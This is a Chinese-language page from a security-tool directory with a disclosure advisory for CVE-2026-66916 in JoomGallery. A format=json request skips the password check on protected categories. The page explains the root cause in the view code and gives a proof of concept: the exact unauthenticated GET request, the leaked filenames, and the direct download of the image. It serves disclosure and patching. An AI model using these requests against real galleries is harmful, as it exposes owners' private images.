Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-66916 — JoomGallery 中通过 JSON 格式绕过密码保护分类 | Kitploit
工具/GitHubGitHub/toanln-cov/cve-2026-66916
漏洞分析Web应用程序漏洞利用Web安全
GitHubtoanln-cov/cve-2026-66916

CVE-2026-66916

JoomGallery 中通过 JSON 格式绕过密码保护分类

查看仓库
1天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

通过 JSON 格式绕过 JoomGallery 中的密码保护分类

JoomGallery ≤ 4.3.0-stable — 未认证攻击者绕过密码门禁下载受保护图片

CVE CVSS v4.0 CWE-284 Affected Researcher


摘要

JoomGallery 的分类 JSON 视图中存在一个未认证的访问控制绕过漏洞。当某个图库分类受密码保护时,HTML 视图会正确实施密码门禁——但 JSON 视图(format=json)完全跳过了该检查。

无需任何凭据的远程攻击者即可获取分类的标题、描述以及所有受保护图片的随机化文件名,然后直接下载这些图片。仅需一个 HTTP 请求即可绕过密码保护功能。

此绕过仅影响 Joomla ACL 访问级别设置为 Public(access=1)的分类。限制为 Registered 或 Special 访问级别的分类仍会在 JsonView.php:69 的 ACL 层被阻止。


受影响版本

组件受影响版本测试环境修复版本
JoomGallery4.3.0-stableJoomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache)4.4.0

漏洞详情

类型: 不当访问控制(CWE-284) 所需认证: 无 — 未认证,单个 HTTP 请求 文件: site/com_joomgallery/src/View/Category/JsonView.php,第 76–96 行

根本原因

JoomGallery 通过 pw_protected 标志为分类实现密码保护。此检查存在于 HtmlView.php 中,但在 JsonView.php 中完全缺失:

HTMLVIEW.PHP — 正确(存在防护)

root@kitploit:~
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
    $this->item->images->items   = $model->getImages();
    $this->item->children->items = $model->getChildren();
}

JSONVIEW.PHP — 漏洞(无防护)

root@kitploit:~
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent          = $model->getParent();
$this->item->children->items = $model->getChildren();  // always executes
$this->item->images->items   = $model->getImages();    // always executes
$this->output($this->item);  // serializes full response to JSON including filenames

Joomla 的 format=json 参数会将相同的 URL 路由到另一个独立的 View 类。每个 View 都必须自行实施访问控制检查——框架不会自动传播这些检查。开发者已在 HtmlView 中添加了 pw_protected 防护,但在 JsonView 中遗漏了。

JoomGallery 的密码保护依赖于对图片文件名的保密——文件以静态资源形式存储在 /images/joomgallery/originals/ 下,由 Apache 直接提供,且没有任何服务端认证。文件名是随机化的(例如,secret-image-1_20260803_1951053711.jpg),只有在通过 PHP/Joomla 层的密码检查后才会披露。JSON 绕过通过向未认证请求者披露文件名打破了这一模型,从而形成完整获取图片的攻击链。


概念验证

实验室设置:

  • 分类:Secret Gallery(id=3,pw_protected=true,access=Public)
  • 包含:Secret Image 1(secret-image-1_20260803_1951053711.jpg)
  • 以下任何步骤均未使用 Cookie、会话或凭据

1. HTML 视图强制实施密码门禁

root@kitploit:~
GET /index.php/component/joomgallery/category/3

结果: 渲染密码表单。不可见任何分类内容。

步骤 1 — HTML 密码门禁


2. 通过 HTML 直接访问图片同样被阻止

root@kitploit:~
GET /index.php/gallery/categories/3-secret-gallery

结果:在 Alias 路径中直接访问图片被阻止(/3-secret-gallery)

步骤 2 — 图片访问被阻止


3. JSON 格式绕过密码检查 — 泄露真实文件名

root@kitploit:~
GET /index.php?option=com_joomgallery&view=category&format=json&id=3

响应(HTTP 200,无需认证):

root@kitploit:~
{
  "success": true,
  "data": {
    "title": "Secret Gallery",
    "description": "<p>SENSITIVE: Internal photos — restricted access</p>",
    "pw_protected": true,
    "access": 1,
    "images": {
      "items": [
        {
          "title": "Secret Image 1",
          "filename": "secret-image-1_20260803_1951053711.jpg",
          "cattitle": "Secret Gallery",
          "access": "Public"
        }
      ]
    }
  }
}

pw_protected: true 确认密码已设置。尽管如此,完整响应(包括随机化文件名)仍会被返回给未认证的调用者。

步骤 3 — JSON 绕过泄露文件名


4. 使用泄露的文件名下载受保护图片

使用步骤 3 中获取的文件名

结果: HTTP 200 — 图片文件由 Apache 直接返回,无需认证。

步骤 4 — 受保护图片已下载


影响

  1. 读取受保护分类的元数据 — 标题、描述、创建信息、父级层级,全部无需认证即可获取
  2. 枚举所有图片文件名 — 通过单个 JSON 请求即可枚举任何受密码保护的 Public 分类中的所有图片文件名
  3. 下载所有受保护图片 — 使用泄露的真实文件名,通过直接静态文件访问以原始全分辨率下载

管理员设置密码保护的任何图库分类都会被完全攻破。攻击者只需要数字分类 ID,而该 ID 是顺序递增的,极易枚举。


参考

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-66916
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66916
  • GitHub 安全公告: https://github.com/advisories/GHSA-g79m-pfhw-2c5m
  • 厂商仓库: https://github.com/JoomGallery/JoomGallery
  • 厂商新版本发布说明: https://www.joomgalleryfriends.net/en/blog/joomgallery-4-en/joomgallery-4-4-0.html
下载工具